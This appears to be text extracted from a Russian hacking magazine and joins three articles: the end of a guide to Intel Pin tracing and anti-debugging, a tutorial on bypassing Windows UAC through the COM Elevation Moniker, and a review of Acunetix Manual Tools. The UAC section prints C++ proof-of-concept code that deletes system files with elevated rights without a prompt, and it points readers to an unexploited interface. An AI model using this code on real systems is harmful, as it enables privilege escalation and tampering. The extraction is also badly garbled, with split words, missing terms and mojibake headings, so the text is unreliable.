Пер вый тест динами чес ки получа ет адрес  и вызыва ет его с нулевым
аргу мен том. Сле дующий тест выпол няет то же самое, но вызывая 

нап рямую. Пос ледний запус кает про изволь ный шелл-код. Он слиш ком велик
для лис тинга, ско пируй его с .

NtClose
syscall

GitHub

c:\PIN\pin.exe -t TinyTracer64.dll -- Test4TT.exe 

В  получа ем:output.txt

13e0;section: [.text] 
101b;kernel32.GetModuleHandleA 
102b;kernel32.GetProcAddress 
1038;ntdll.NtClose 
1148;SYSCALL:0xf 
10b3;ucrtbase.malloc 
10d4;kernel32.VirtualProtect 
10ef;called: ?? [2b51f69a000+1e0] 
> 2b51f69a000+205;kernel32.LoadLibraryA 
> 2b51f69a000+22e;user32.MessageBoxA 
> 2b51f69a000+246;kernel32.FatalExit 

Тес ты отра жены кор рек тно. Видим MessageBox из шелл-кода. Но не хва тает
аргу мен тов фун кций.

kernel32;GetModuleHandleA;1 
kernel32;GetProcAddress;2 
ntdll;NtClose;1 
<SYSCALL>;15;1 
ucrtbase;malloc;1 
kernel32;VirtualProtect;4 
kernel32;LoadLibraryA;1 
user32;MessageBoxA;4 
kernel32;FatalExit;1 

За писы ваем чис ло аргу мен тов в  и запус каем 
 для получе ния  при мер но с таким содер жимым:

params.txt syscall_extract.
exe syscalls.txt

0xd,NtSetInformationThread 
0xe,NtSetEvent 
0xf,NtClose 

Ос талось пов торно запус тить tiny_tracer с новыми парамет рами.

-t TinyTracer64.dll -s TinyTracer.ini -l syscalls.txt -b params.txt 
-- Test4TT.exe 

Ви дим, что нас трой ки при няты.

 

 

 

 

Watch 8 functions 
Watch 1 syscalls 
SyscallTable size: 1791

This application is instrumented by TinyTracer v.2.7.1 
Tracing module: Test4TT.exe

Watch C:\Windows\System32\KERNEL32.DLL: GetModuleHandleA [1] 
Watch C:\Windows\System32\KERNEL32.DLL: GetProcAddress [2] 
Watch C:\Windows\System32\KERNEL32.DLL: VirtualProtect [4] 
Watch C:\Windows\System32\KERNEL32.DLL: LoadLibraryA [1] 
Watch C:\Windows\System32\KERNEL32.DLL: FatalExit [1]
Watch C:\Windows\SYSTEM32\ntdll.dll: NtClose [1] 
Watch C:\Windows\System32\ucrtbase.dll: malloc [1] 
Watch C:\Windows\System32\USER32.DLL: MessageBoxA [4]

По луча ем лог со все ми аргу мен тами.

 

 

 

 

 

 

 

 

 

 

101b;kernel32.GetModuleHandleA 
GetModuleHandleA: 
    Arg[0] = ptr 0x00007ff799dd2268 → "ntdll"

102b;kernel32.GetProcAddress 
GetProcAddress: 
    Arg[0] = ptr 0x00007ffa16950000 → {MZ\x90\x00\x03\x00\x00\x00} 
    Arg[1] = ptr 0x00007ff799dd2260 → "NtClose"

1038;ntdll.NtClose 
NtClose: 
    Arg[0] = 0

1148;SYSCALL:0xf(NtClose) 
NtClose: 
    Arg[0] = 0

10b3;ucrtbase.malloc 
malloc: 
    Arg[0] = 0x00000000000001b2 = 434

10d4;kernel32.VirtualProtect 
VirtualProtect: 
    Arg[0] = ptr 0x000001176a27a1e0 → {\x00\xe0'j\x17\x01\x00\x00} 
    Arg[1] = 0x00000000000001b2 = 434
    Arg[2] = 0x0000000000000040 = 64 
    Arg[3] = ptr 0x00000003e0affbc0 → {\x00\x00\x00\x00\x00\x00\x00\x00}

10ef;called: ?? [1176a27a000+1e0] 
 1176a27a000+205;kernel32.LoadLibraryA 
LoadLibraryA: 
    Arg[0] = ptr 0x000001176a27a262 → "USER32.DLL"

 1176a27a000+22e;user32.MessageBoxA 
MessageBoxA: 
    Arg[0] = 0 
    Arg[1] = ptr 0x000001176a27a279 → "Hello world" 
    Arg[2] = ptr 0x000001176a27a285 → "Message" 
    Arg[3] = 0

 1176a27a000+246;kernel32.FatalExit 
FatalExit: 
    Arg[0] = 0

IDAPIN

На пос ледок раз берем еще один неп лохой инс тру мент.  — пла гин
для уда лен ной отладки в IDA Pro. Его мож но соб рать из исходни ков или ска- 
чать в готовом виде. Для пос ледне го тре бует ся кон крет ная вер сия Pin, ссыл- 
ка на нее есть в опи сании релиза.

IdaPin

За пуск нес ложен, меня ем Local windows debugger на PIN Tracer и ука зыва- 
ем в нас трой ках пра виль ные пути до  и пап ку с пла гина ми. Ожи даем

кон ца заг рузки и получа ем пол ноцен ную отла доч ную сес сию.

pin.exe

Пла гин рас кра шива ет прой ден ный код на гра фе: одним цве том пошаго- 
вую трас сиров ку, дру гим — обыч ное исполне ние. Оста новив шись
на breakpoint, мож но уви деть, каким путем до него доб рался поток команд.

Ис поль зование Pin скры вает факт отладки. Что бы заметить Pin, надо
хотя бы знать о его сущес тво вании. Чего обыч но не быва ет.

Я про гонял IdaPin на анти отла доч ных трю ках. Засыпал ся он толь ко
на этом:

 #include <Windows.h>
 #include <stdio.h>

 int main()
{
      DWORD64 timer_1 = __rdtsc();
      DWORD64 timer_2 = __rdtsc();
        DWORD64 diff = timer_2 - timer_1;

    printf("diff: %p", diff);

    return 0;
}

Ко ман да  (Read Time Stamp Counter) воз вра щает точ ное количес тво

так тов, прой ден ных про цес сором. Собс твен но, в них изме ряет ся час тота
про цес сора. На одну ассем блер ную инс трук цию может при ходить ся нес коль- 
ко так тов.

RDTSC

Фак тичес ки два иду щих под ряд изме рения дают минималь ную раз ницу.
Если про цесс находит ся под пошаго вой отладкой, вир туали заци ей или меж ду
замера ми про исхо дит перек лючение кон тек ста, раз ница в чис ле так тов ста- 
новит ся неп равдо подоб но боль шой.

Это проб лема реали зации IdaPin; хорошо опти мизи рован ные PinTools дают
раз ницу счет чиков в пре делах пог решнос ти и, ско рее все го, замече ны
не будут. К тому же резуль тат работы  нес ложно под менить, как это

дела ет tiny_tracer.

__rdtsc

ÂÛÂÎÄÛ

Нес мотря на свою «проз рачность», Pin нет рудно обна ружить по добав лению
 или мно жес тву дру гих арте фак тов. Пол номочия Pin закан чива ются

в кон крет ном user-mode-про цес се, он не огра ничи вает обще ние про цес са
с ядром. Спе циаль но спро екти рован ный код может сбе жать из вир туаль ной
машины или изме нить поведе ние, заметив ее наличие. В общем, Pin — это не
панацея, но еще один хакер ский инс тру мент в наш плот но набитый чемодан- 
чик.

pinvm.dll

https://crackmes.one/crackme/66202492cddae72ae250c96e
https://github.com/hasherezade/tiny_tracer
https://gist.github.com/kkent030315/b508e56a5cb0e3577908484fa4978f12
https://github.com/Rupan/idapin
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ВЗЛОМ

Ме ханизм User Account Control в Windows
не дает поль зовате лю взять и запус тить
мал варь от лица адми нис тра тора. Впро чем,
сис тема любез но пре дус мотре ла механизм
Elevation Moniker, что бы упростить жизнь
хакерам. В этой статье мы раз берем,
как исполь зовать монике ры для обхо да
UAC. Всё по-взрос лому! На жес тком C++
с интерфей сами.

ÌÎÍÈÊÅÐÛ

Пер вым делом отме тим, что монике ры — один из кир пичиков под систе мы
COM (Component Object Model). С помощью COM раз работ чики могут соз- 
давать такие прог рам мные ком понен ты, которые спо соб ны вза имо дей ство- 
вать друг с дру гом в самых раз ных плос костях. Нап ример, с помощью COM
мож но из кода Visual Basic дер гать сбор ку .NET и наобо рот! А что ты дума ешь
по поводу связ ки прог рамм на Go и C++?

Здесь есть сер вер — им счи тает ся тот, кто пре дос тавля ет фун кции COM, —
и кли ент — тот, кто обра щает ся к фун кци ям сер вера. Воз можнос ти сер вера
COM про писы вают ся в клас се COM. При обра щении к сер веру COM соз дает- 
ся экзем пляр клас са COM, и кли ент получа ет этот экзем пляр. Пос ле чего
может вза имо дей ство вать с сер вером.

Ко неч но, уже опыт ные сме шари ки ска жут, что в дей стви тель нос ти идет
работа с интерфей сами: сер вер зачас тую отда ет мар шализи рован ный
интерфейс, через который будет про исхо дить вза имо дей ствие, а еще меж ду
кли ентом и сер вером висит прок си, стаб, апар тамен ты, RPC... Впро чем,
такие под робнос ти не нуж ны. Пока дос таточ но понимать, что есть сер вер
и кли ент COM. Их вза имо дей ствие про исхо дит через экзем пляр клас са COM,
в котором опре деле ны некие воз можнос ти.

Изу чить базу про COM мож но в статье  или в
.

Inside COM+: Base Services
офи циаль ной докумен тации

Для соз дания экзем пля ра клас са COM (про цесс инстан цирова ния) тре- 
бует ся спе циаль ное зна чение CLSID (Class Identier). Оно однознач но иден- 
тифици рует класс COM, к которо му хочет обра тить ся кли ент. Помимо того,
само соз дание объ екта COM реали зовы вало порож дающий пат терн про екти- 
рова ния, называ емый .фаб рикой

Все с этим нор маль но жили и не тужили, одна ко в один момент захоте ли
изба вить ся от обя затель ного исполь зования CLSID и фаб рики. Хотелось сде- 
лать всё так, что бы объ ект находил ся как-нибудь сам, авто мати чес ки,
по минималь ному обще му вход ному набору дан ных.

И тог да на помощь приш ли монике ры. Они поз воля ют иден тифици ровать
кон крет ный объ ект COM (или даже пол ноцен но его реали зовать) по прос той
стро ке ( ). Эда кая стро ковая пре зен тация объ екта СОМ.moniker string

Про цесс инстан цирова ния объ екта COM из монике ра называ ется акти- 
ваци ей или же свя зыва нием монике ра (Binding). Моникер обла дает дос таточ- 
ной информа цией, что бы най ти и акти виро вать нуж ный объ ект СОМ. Эту
информа цию моникер получа ет один раз, во вре мя сво его соз дания — в виде
стро ки, фор мат которой он понима ет. Поз же менять эту информа цию уже
нель зя. Поэто му моникер, будучи однажды соз данным, всег да находит и акти- 
виру ет один и тот же объ ект.

Мо нике рами счи тают ся все объ екты, которые реали зуют интерфейс
. Воз врат кли енту объ екта COM про исхо дит в фун кции 

.

IMoniker IMoniker::
BindToObject()

 HRESULT BindToObject(
    [in] IBindCtx *pbc,
    [in] IMoniker *pmkToLeft,
      [in] REFIID riidResult,
       [out] void **ppvResult
);

 — кон текст свя зыва ния. Это спе циаль ный объ ект СОМ, реали зующий
интерфейс . С помощью это го объ екта ука зыва ется, каким
обра зом дол жен осу щест влять ся и как про ходит в этот момент про цесс
свя зыва ния (акти вации объ екта СОМ по монике ру);

• pbc

IBindCtx

 — целевой моникер, по которо му соз давать объ ект COM;• pmkToLeft

 — внут ри каж дого клас са COM может быть реали зова но нес- 
коль ко интерфей сов. Здесь ука зыва ется IID (Interface Identier) целево го
интерфей са, который хотим получить;

• riidResult

 — перемен ная, которая получит ини циали зиро ван ный ука- 
затель на интерфейс, через который мож но вза имо дей ство вать с клас сом
COM.

• ppvResult

ÏÎÄÂÈÄÛ ÌÎÍÈÊÅÐÎÂ

Мо нике ры делят ся на два под вида:
сис темные (они же встро енные, они же стан дар тные) — набор монике ров,
пре дос тавля емых Microsoft;

•

поль зователь ские — соз данные сто рон ними раз работ чиками.•

Да же сис темных монике ров очень мно го. Мы оста новим ся на одном кон крет- 
ном: . Этот моникер поз воля ет акти виро вать объ ект COM
в кон тек сте повышен ных при виле гий. С помощью это го монике ра хакер спо- 
собен из про цес са со сред ним уров нем целос тнос ти получить дос туп к объ- 
екту COM, рас положен ному в про цес се с высоким уров нем целос тнос ти,
а затем, зло упот ребляя воз можнос тями это го объ екта, выб рать ся в при виле- 
гиро ван ный про цесс.

Elevation Moniker

По мимо это го, сущес тву ют , с их помощью кли ент может
инстан цировать объ ект COM в чужой сес сии. На этом был осно ван экс пло ит

. Впро чем, о нем погово рим в сле дующей статье.

Session Moniker

COM Session Moniker EOP
Для успешно го бай паса UAC нуж но соб людение нес коль ких усло вий:
на личие инте рес ных воз можнос тей в клас се COM: выпол нение команд,
уда ление фай лов, добав ление поль зовате лей — в общем, все, что тре бует
токена с высоким уров нем целос тнос ти;

•

пра виль ная регис тра ция клас са COM в реес тре Windows.•

Нач нем со вто рого пун кта.

ÐÅÃÈÑÒÐÀÖÈß ELEVATION MONIKER

Класс COM (его поле ) дол жен иметь зна чение 

(это зна чение дефол тное, при меня ется в том чис ле, если поле  пус тое)
либо . Если зна чение дру гое, то при попыт ке забин- 

дить ся к монике ру получим ошиб ку .

RunAs The Launching User
RunAs

Activate As Activator
CO_E_RUNAS_VALUE_MUST_BE_AAA

Пред лагаю рас смат ривать на при мере клас са COM, который соот ветс тву- 
ет всем тре бова ниям. Вот его CLSID:

{3E5FC7F9-9A51-4367-9063-A120244FBEC7} 

Зна чение  ука зыва ется для AppID, поэто му сна чала выч леня ем AppID

для CLSID.

RunAs

По луче ние AppID по CLSID

Вот как это выг лядит в коде:

      DWORD GetAppIdFromClsid(IN std::wstring clsid, OUT std::wstring&
appId)
{
    HKEY hClsidKey;
      std::wstring clsidSubKey = L"CLSID\" + clsid;
   if (RegOpenKeyEx(HKEY_CLASSES_ROOT, clsidSubKey.c_str(), 0, 
KEY_READ, &hClsidKey) != ERROR_SUCCESS)
   {
       return ERROR_OPEN_FAILED;
   }

   TCHAR valueBuffer[256];
   DWORD valueBufferSize = sizeof(valueBuffer);

   if (RegQueryValueEx(hClsidKey, L"AppID", NULL, NULL, (LPBYTE)
valueBuffer, &valueBufferSize) == ERROR_SUCCESS)
   {
       appId = valueBuffer;
   }

   RegCloseKey(hClsidKey);

   return ERROR_SUCCESS;
}

Пос ле чего про веря ем ключ .AppID

RunAs нет. Зна чит, The Launching User

Сле дующим шагом нуж но убе дить ся в наличии клю ча ,
в котором будет путь к целевой DLL с фун кци ями COM. Если такой записи нет,
акти вация воз вра щает ошиб ку .

LocalizedString

CO_E_MISSING_DISPLAYNAME

Ключ LocalizedString

В под папоч ке  лежит ключ , ука зыва ющий на зна чок

при ложе ния. Здесь  — иден тифика тор ресур са, а  — раз решить

ли исполь зовать этот COM-класс с Elevation Moniker.

Elevation IconReference
-101 Enabled

Па поч ка Elevation

Ес ли какая-то запись отсутс тву ет, то акти вация воз вра щает ошиб ку
. Обра ти вни мание, что эти записи дол жны сущес- 

тво вать в вет ке , а не в вет ке 

или . Это не поз воля ет обыч ным поль зовате лям регис три ровать

COM-клас сы, которые мож но исполь зовать с Elevation Moniker.

CO_E_ELEVATION_DISABLED
HKEY_LOCAL_MACHINE HKEY_CURRENT_USER

HKEY_USERS

Для авто мати зации поис ка клас сов COM, под ходящих для исполь зования
с Elevation Moniker, я соз дал прог рамму .WinCOMFuzzer

При мер исполь зования

Пос ле чего получим спи сок CLSID, которые мож но отдать в 
и про верить пос леднее зна чение: . Если оно уста нов лено

в , то при повыше нии уров ня целос тнос ти через Elevation Moniker
не появит ся окош ко UAC.

OleViewDotNet
Auto Approval

True

Про вер ка зна чения Enabled и Auto Approval

Ес ли эти тре бова ния соб людены, то мож но себе поап лодиро вать — мы наш- 
ли класс COM, под ходящий под Elevation Moniker.

ÈÑÏÎËÜÇÎÂÀÍÈÅ ELEVATION MONIKER

Elevation Moniker — это стан дар тный моникер COM. Он отправ ляет зап рос
акти вации на сер вер COM с ука зан ным уров нем повыше ния. CLSID, который
нуж но акти виро вать, надо про писать в стро ке монике ра.

Elevation Moniker под держи вает сле дующие уров ни повыше ния:
 — это поле может исполь зовать ся толь ко встро енной

учет ной записью локаль ного адми нис тра тора (RID 500). Гаран тирован но
повысит ся до High IL;

• Administrator

 — это поле исполь зует ся все ми осталь ными учет ками, в том чис- 
ле чле нами групп локаль ных адми нис тра торов. Здесь никаких гаран тий
нет. Windows попыта ется выдать мак сималь но воз можный уро вень целос- 
тнос ти для дан ного акка унта. Обыч ный акка унт получит Medium IL, учет ка
из груп пы ЛА — High IL.

• Highest

Син таксис монике ра сле дующий:

Elevation:Administrator!new:{guid} 
Elevation:Highest!new:{guid} 

Здесь  — CLSID клас са COM, уста нов ленный сог ласно тре бова ниям,

опи сан ным выше.

guid

От мечу, что здесь исполь зует ся спе циаль ное сло во , которое поз воля- 

ет при при вяз ке к монике ру получить экзем пляр его клас са. Внут ри вызыва- 
ется  с пос леду ющим вызовом 

.

new

IClassFactory IClassFactory::
CreateInstance()

По мимо это го, есть воз можность раз добыть ука затель на фаб рику, что бы
получить инстанс вруч ную. В таком слу чае исполь зует ся клю чевое сло во

. Ты получишь объ ект клас са, который реали зует . Затем

вызыва ющая сто рона дер гает , что бы получить экзем пляр
объ екта. Выг лядит это так:

clsid IClassFactory
CreateInstance()

Elevation:Administrator!clsid:{guid} 

В сле дующем при мере кода показа но, как исполь зовать Elevation Moniker.
Не забудь до это го в потоке выз вать !CoInitialize()

      
    

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID
riid, __out void ** ppv)
{
    BIND_OPTS3 bo;
     WCHAR wszCLSID[50];
     WCHAR wszMonikerName[300];

     StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(
wszCLSID[0]));
       

 
 

HRESULT hr = StringCchPrintf(wszMonikerName, sizeof(
wszMonikerName)/sizeof(wszMonikerName[0]), L"Elevation:
Administrator!new:%s", wszCLSID);
    if (FAILED(hr))

        return hr;
     memset(&bo, 0, sizeof(bo));
     bo.cbStruct = sizeof(bo);
     bo.hwnd = hwnd;
      bo.dwClassContext = CLSCTX_LOCAL_SERVER;
       return CoGetObject(wszMonikerName, &bo, riid, ppv);
}

В качес тве  мож но переда вать , COM в таком слу чае авто мати чес ки

вызовет , что бы най ти хендл окна, свя зан ного с текущим
потоком.

hwnd NULL
GetActiveWindow()

ÏÐÈÌÅÐÛ COM-ÎÁÚÅÊÒÎÂ

ICMLuaUtil
Это один из самых популяр ных экс пло итов для обхо да UAC с помощью
Elevation Moniker, PoC ты най дешь на . В коде мож но явно наб людать
CLSID, который мы иссле дова ли ранее, а так же Elevation Moniker, еще не ини- 
циали зиро ван ный.

GitHub

Ис поль зуемые зна чения

В свою оче редь, этот класс COM в интерфей се  реали зует метод

. Из его наз вания понят но, что он свя зан с исполне нием команд.
Запуск экс пло ита с пос леду ющим инстан цирова нием клас са COM через
Elevation Moniker и вызов  поз воля ет исполнить коман ды в при- 

виле гиро ван ном кон тек сте.

ICMLuaUtil
ShellExec()

ShellExec()

Вы зов метода

Кста ти, этот метод исполь зовал шиф роваль щик  для обхо да UAC.LockBit

IFileOperation
Пред лагаю обра тить ся к утеч кам . Из них нам ста ло извес тно
о COM-объ екте, который поз воля ет выпол нять фай ловые опе рации,
не вызывая окош ка UAC. В час тнос ти, PoC пре дос тавля ет воз можность уда- 
ления про изволь ных фай лов.

WikiLeaks

      
  

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID
riid, void **ppv)
{
    BIND_OPTS3 bo;
    WCHAR wszCLSID[50];
    WCHAR wszMon[300];

     StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(
wszCLSID[0]));
       

  
HRESULT hr = StringCchPrintfW(wszMon, sizeof(wszMon)/sizeof(

wszMon[0]), L"Elevation:Administrator!new:%s", wszCLSID);
    if (FAILED(hr))

        return hr;
     memset(&bo, 0, sizeof(bo));
     bo.cbStruct = sizeof(bo);
     bo.hwnd = hwnd;
     bo.dwClassContext = CLSCTX_LOCAL_SERVER;
       return CoGetObject(wszMon, &bo, riid, ppv);
}

 void ElevatedDelete()
{
      MessageBox(NULL, "DELETING", "TESTING", MB_OK);

   // This is only availabe on Vista and higher
         HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED |
COINIT_DISABLE_OLE1DDE);
    IFileOperation *pfo;
       hr = CoCreateInstanceAsAdmin(NULL, CLSID_FileOperation,
IID_PPV_ARGS(&pfo));
   pfo->SetOperationFlags(FOF_NO_UI);
      IShellItem *item = NULL;
       hr = SHCreateItemFromParsingName(L"C:\\WINDOWS\\TEST.DLL", NULL,
IID_PPV_ARGS(&item));
    pfo->DeleteItem(item, NULL);
   pfo->PerformOperations();
   item->Release();
   pfo->Release();
   CoUninitialize();
}

Од нако  пре дос тавля ет методы и для , и для
.

ин терфейс ко пиро вания фай лов
соз дания

Ко неч но, это не такой прос той при мер, ведь мы не можем нап рямую
исполнять коман ды, у нас есть лишь воз можнос ти, свя зан ные с фай ловыми
опе раци ями. Впро чем, их мож но сов местить с , что бы добить- 
ся при виле гиро ван ного шел ла.

SymLinks Abuse

ÂÛÂÎÄÛ

Иног да сами раз работ чики зак ладыва ют в свои прог раммы фун кции, похожие
на пол ноцен ный бэк дор. Нуж но искать лазей ки и обхо ды, и ты их, воз можно,
най дешь. Если хочешь поп ракти ковать ся в обхо де UAC с помощью Elevation
Moniker, то обра ти вни мание на интерфейс , на него еще нет

поков!

IColoDataProxy

https://t.me/Michaelzhm
https://thrysoee.dk/InsideCOM+/
https://learn.microsoft.com/en-us/windows/win32/com/component-object-model--com--portal
https://javarush.com/groups/posts/2370-pattern-proektirovanija-factory
https://learn.microsoft.com/ru-ru/windows/win32/com/the-com-elevation-moniker
https://learn.microsoft.com/ru-ru/windows/win32/termserv/using-a-session-moniker
https://t.me/RedTeambro/306
https://learn.microsoft.com/en-us/windows/win32/com/runas
https://github.com/MzHmO/WinCOMFuzzer/blob/main/FindElevationMonikers/source.cpp
https://github.com/tyranid/oleviewdotnet
https://github.com/0xlane/BypassUAC
https://github.com/0xlane/BypassUAC/blob/master/BypassUAC/main.cpp#L54
https://amgedwageh.medium.com/lockbit-ransomware-analysis-notes-93a542fc8511
https://wikileaks.org/ciav7p1/cms/page_3375231.html
https://learn.microsoft.com/ru-ru/windows/win32/api/shobjidl_core/nn-shobjidl_core-ifileoperation
https://learn.microsoft.com/ru-ru/windows/win32/api/shobjidl_core/nf-shobjidl_core-ifileoperation-copyitem
https://learn.microsoft.com/ru-ru/windows/win32/api/shobjidl_core/nf-shobjidl_core-ifileoperation-newitem
https://nixhacker.com/understanding-and-exploiting-symbolic-link-in-windows/
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ВЗЛОМ

Acunetix Manual Tools — инс тру мент
не новый, но инте рес ный: это удоб ный
швей цар ский нож, который подой дет
людям, пока не готовым раз бирать ся
с более слож ными тул зами. Бывалым же
пен тесте рам рекомен дую гля нуть на него
хотя бы из ака деми чес кого инте реса — кто
зна ет, вдруг при годит ся? Сегод ня пос- 
мотрим на его воз можнос ти и при кинем,
на что он спо собен в 2024 году.

Я дав но зна ком с Acunetix и сра зу пре дуп реждаю, что Acunetix Manual Tools —
это ско рее легаси. В какой-то момент из прог раммы убра ли ска нер и про чие
авто мати чес кие фун кции, оста вив толь ко тул зы для руч ного тес тирова ния.
Зато эта вер сия бес плат на для час тно го и ком мерчес кого исполь зования,
хотя это и не опен сорс.

У начина ющих ред ко быва ют объ емные задачи, тре бующие серь езной
авто мати зации: обыч но нуж но похакать какой-нибудь сай тик. Acunetix Manual
Tools для это го впол не сго дит ся. Его лег ко уста новить и начать исполь зовать,
он поз воля ет про водить ауди ты вруч ную без пред варитель ного рас курива ния
тол стых ману алов и заучи вания парамет ров к коман дам. Инс тру мент работа- 
ет в Windows, что в ИБ ред кость (а в некото рых кру гах даже заш квар).

Acunetix Manual Tools

Сам я поль зуюсь этим тул китом, что бы быс тро соб рать дан ные и пос корее
сос тавить пред став ление о тар гете. Это удоб нее, чем копать ся в бра узер ных
«инс тру мен тах раз работ чика» или заводить вир туал ку с Kali.

Что до «боль шого» Acunetix, из него в Invicti сде лали мощ ней ший инс тру- 
мент. В одной из будущих ста тей я покажу в деле воз можнос ти тамош него
авто мати чес кого ска нера, который пред назна чен уже ско рее для кор- 
поратив ного сег мента и DevSecOps, из-за чего выг лядит слег ка запутан ным.
Сегод ня же изу чим его млад шего бес плат ного соб рата.

ÓÑÒÀÍÎÂÊÀ

Прог рамма рас простра няет ся в виде уста новоч ного пакета для Windows.
При ятно, что дис три бутив занима ет все го четыре мегабай та, а в уста нов- 
ленном вари анте — десять! Ска чать его мож но с , где
так же есть крат кое опи сание фун кций на англий ском.

офи циаль ной стра ницы

Ин терфейс уста нов ки — стан дар тный wizard. Дос таточ но ука зать пап ку
для уста нов ки и под твер дить, что ты хочешь получить зна чок на рабочем сто- 
ле (если дей стви тель но хочешь).

За пус каем прог рамму, и вот перед нами стар товое окно.

Стар товое окно

Acunetix Manual Tools — это ком байн из вось ми инс тру мен тов, который пред- 
назна чен для руч ного тес тирова ния веб-при ложе ний, выяв ления и экс плу ата- 
ции уяз вимос тей. Давай прой дем ся по каж дому раз делу.

HTTP EDITOR

Это инс тру мент для редак тирова ния и отправ ки руч ных зап росов HTTP/S. Он
поз воля ет ана лизи ровать и изме нять зап росы, а так же про верять, как реаги- 
рует сер вер и что пишет в отве те. Есть ути литы для кодиро вания и декоди- 
рова ния тек ста, а так же воз можность искать урлы и скрип ты, собирать HTML-
фор мы и метате ги стра ницы.

ENCODER TOOL

Это не самос тоятель ный инс тру мент, он вхо дит в HTTP Editor, но впол не дос- 
тоин отдель ного упо мина ния за удобс тво. При работе час то при ходит ся стал-
кивать ся с раз ными кодиров ками и по-вся кому пре обра зовы вать дан ные.
URL-кодиров ка, Base-кодиров ки, раз ные виды UTF — все это здесь дос тупно
в пару кли ков. Копиру ем, встав ляем, выбира ем нуж ную кноп ку, и готово!

SUBDOMAIN SCANNER

Ска нер доменов треть его уров ня помога ет обна ружи вать скры тые или тех- 
ничес кие под домены, которые могут быть точ ками вхо да для атак или поз- 
волят обой ти вред ный Cloudare. Глав ный недос таток это го ска нера —
исполь зование встро енно го сло варя, который нель зя сме нить. Сло варь
не самый пло хой, одна ко под клю чение сво их вари антов все же мог ли бы
добавить.

TARGET FINDER

Средс тво для поис ка целей, которое помога ет обна ружи вать активные
веб-сер веры, пор ты и сер висы на опре делен ных IP-адре сах или диапа зонах.
Тоже силь но упро щен ный инс тру мент, воз можнос ти которо го мер кнут в срав- 
нении с Nmap. Но для нович ка — самое то. Ука зыва ем инте ресу ющие нас
пор ты, вво дим IP или диапа зон, нажима ем «Старт».

Из недос татков — лич но мне не хва тает опре деле ния домен ного име ни
хотя бы из SSL-сер тифика тов. При этом ты можешь смот реть ответ сер вера
и най ти что-то инте рес ное сам. Важ но отме тить, что Target Finder пыта ется
уста новить как защищен ное (TLS), так и откры тое соеди нение, нев зирая
на ука зан ный порт. Ник то ведь не меша ет осо бен но хит роум ному адми ну
запус тить HTTP-демон на 443-м пор те.

BLIND SQL INJECTOR

Инс тру мент для тес тирова ния обыч ных и сле пых SQL-инъ екций, спо соб ный
авто мати чес ки про водить SQLi-ата ки. Набор фун кций доволь но широкий,
сре ди них — базовые методы борь бы с филь тра цией и экра ниро вани ем. Так- 
же есть воз можность выг рузить в файл или вос ста новить работу с уяз- 
вимостью или сес сией. Здесь есть свои мел кие удобс тва: нап ример,
при извле чении дан ных в рам ках UNION-based-инъ екции в интерфей се вид ны
позиции «от» и «до» эле мен та из таб лицы. Мож но поп робовать выпол нить
свой SQL-зап рос без тан цев с его нор мализа цией или про читать файл.
Отме чу, что это инс тру мент не для авто мати чес кого тес тирова ния, а для про- 
веде ния самой ата ки и извле чения дан ных.

Нас трой ки Blind SQL Injector

HTTP FUZZER

Без фаз зера — никуда. Что такое фаз зер? Средс тво для авто мати чес кого
соз дания и отправ ки мно жес тва слу чай ных или спе цифич ных HTTP-зап росов
с целью най ти уяз вимос ти — нап ример, ошиб ки обра бот ки дан ных или воз- 
можность перебо ра чего-то. Здесь мож но задавать свой набор сим волов,
дли ну, кодиров ку или, нап ример, веж ливо поп росить под став лять зна чения
в виде MD5 либо закоди рован ные иным спо собом. Мож но задавать раз ные
инкре мен ты или поп росить фаз зер брать толь ко сим волы из опре делен ного
набора. Есть филь тры по кодам отве та, мож но регуляр кой задать сра баты- 
вание на кон крет ные сло ва. В общем, фаз зер гиб кий и при этом прос той
в исполь зовании. Из минусов отме чу отсутс твие мно гопо точ ности.

AUTHENTICATION TESTER

Инс тру мент для про вер ки пар логин — пароль или брут форса веб-форм
и базовой веб-аутен тифика ции. Тут уже мож но заг ружать свои сло вари, так
что собира ем и закиды ваем. Лич но мне не хва тает встро енно го фаз зера
или генера тора вор длис тов, что бы мож но было задать пра вила для соз дания
пос ледова тель нос ти и наб людать за перебо ром. Опять же, видимо, дань
прос тоте.

WEB SERVICES EDITOR

Этот редак тор поз воля ет вза имо дей ство вать с сер висами по про токо лам
SOAP и REST нап рямую. В основном рас счи тан на WSDL.

WSDL (Web Services Description Language) — это XML-фор мат, который
исполь зует ся для опи сания веб-сер висов. В нем мож но передать струк- 
туриро ван ную информа цию о том, как обра щать ся к сер вису, какие фун кции
он пре дос тавля ет, какие дан ные при нима ет и воз вра щает и как эти дан ные
струк туриро ваны. WSDL исполь зует ся в веб-сер висах, работа ющих по про- 
токо лу SOAP. Мож но счи тать, что это дедуш ка JSON и пра дед OpenAPI. Он
зас тал самое начало холива ров про фрон тенд и бэкенд!

В этом раз деле Acunetix Manual Tools удоб но изу чать струк туру API, дер- 
гать раз ные методы и так далее. Скар мли ваем биб лиоте ку — смот рим фун- 
кции — зада ем парамет ры — отправ ляем — изу чаем ответ. Увы, инс тру мент
ста роват, а ведь как было бы здо рово тыкать им тот же OpenAPI!

HTTP SNIFFER

Сниф фер HTTP-тра фика, зах ватыва ет и зап росы к сер веру, и его отве ты,
а потом поз воля ет ана лизи ровать их. Мож но счи тать это пра роди телем Burp
Proxy или вклад ки Network в «инс тру мен тах раз работ чика» бра узе ра.

У сниф фера весь ма широкие воз можнос ти для филь тра ции зап росов:
мож но по раз ным парамет рам выделять толь ко инте рес ные. Ска жем,
выводить толь ко ошиб ки PHP или исклю чить обра щения к фай лам опре делен- 
ных рас ширений, нап ример .jpg или .js. Мож но при желании сох ранить сес- 
сию или свои пра вила.

ÍÀÑÒÐÎÉÊÈ

Нас тра ивать в Acunetix Manual Tools поч ти что нечего. Можем задать SSL-сер- 
тификат или кре ды для про хож дения базовой HTTP-аутен тифика ции, а так же
сюда зачем-то убра ли выбор пор та для HTTP-сниф фера. Луч ше бы, конеч но,
вер нули воз можность под клю чения прок си, как это было у кор поратив ной
вер сии рань ше, хотя сей час прог рамма отлично работа ет через Proxier.

ÂÛÂÎÄÛ

Нес мотря на свой поч тенный воз раст, Acunetix Manual Tools пре дос тавля ет
год ный набор инс тру мен тов, который сос лужит неп лохую служ бу начина юще- 
му пен тесте ру. Здесь соб ран необ ходимый минимум для руч ного тес тирова- 
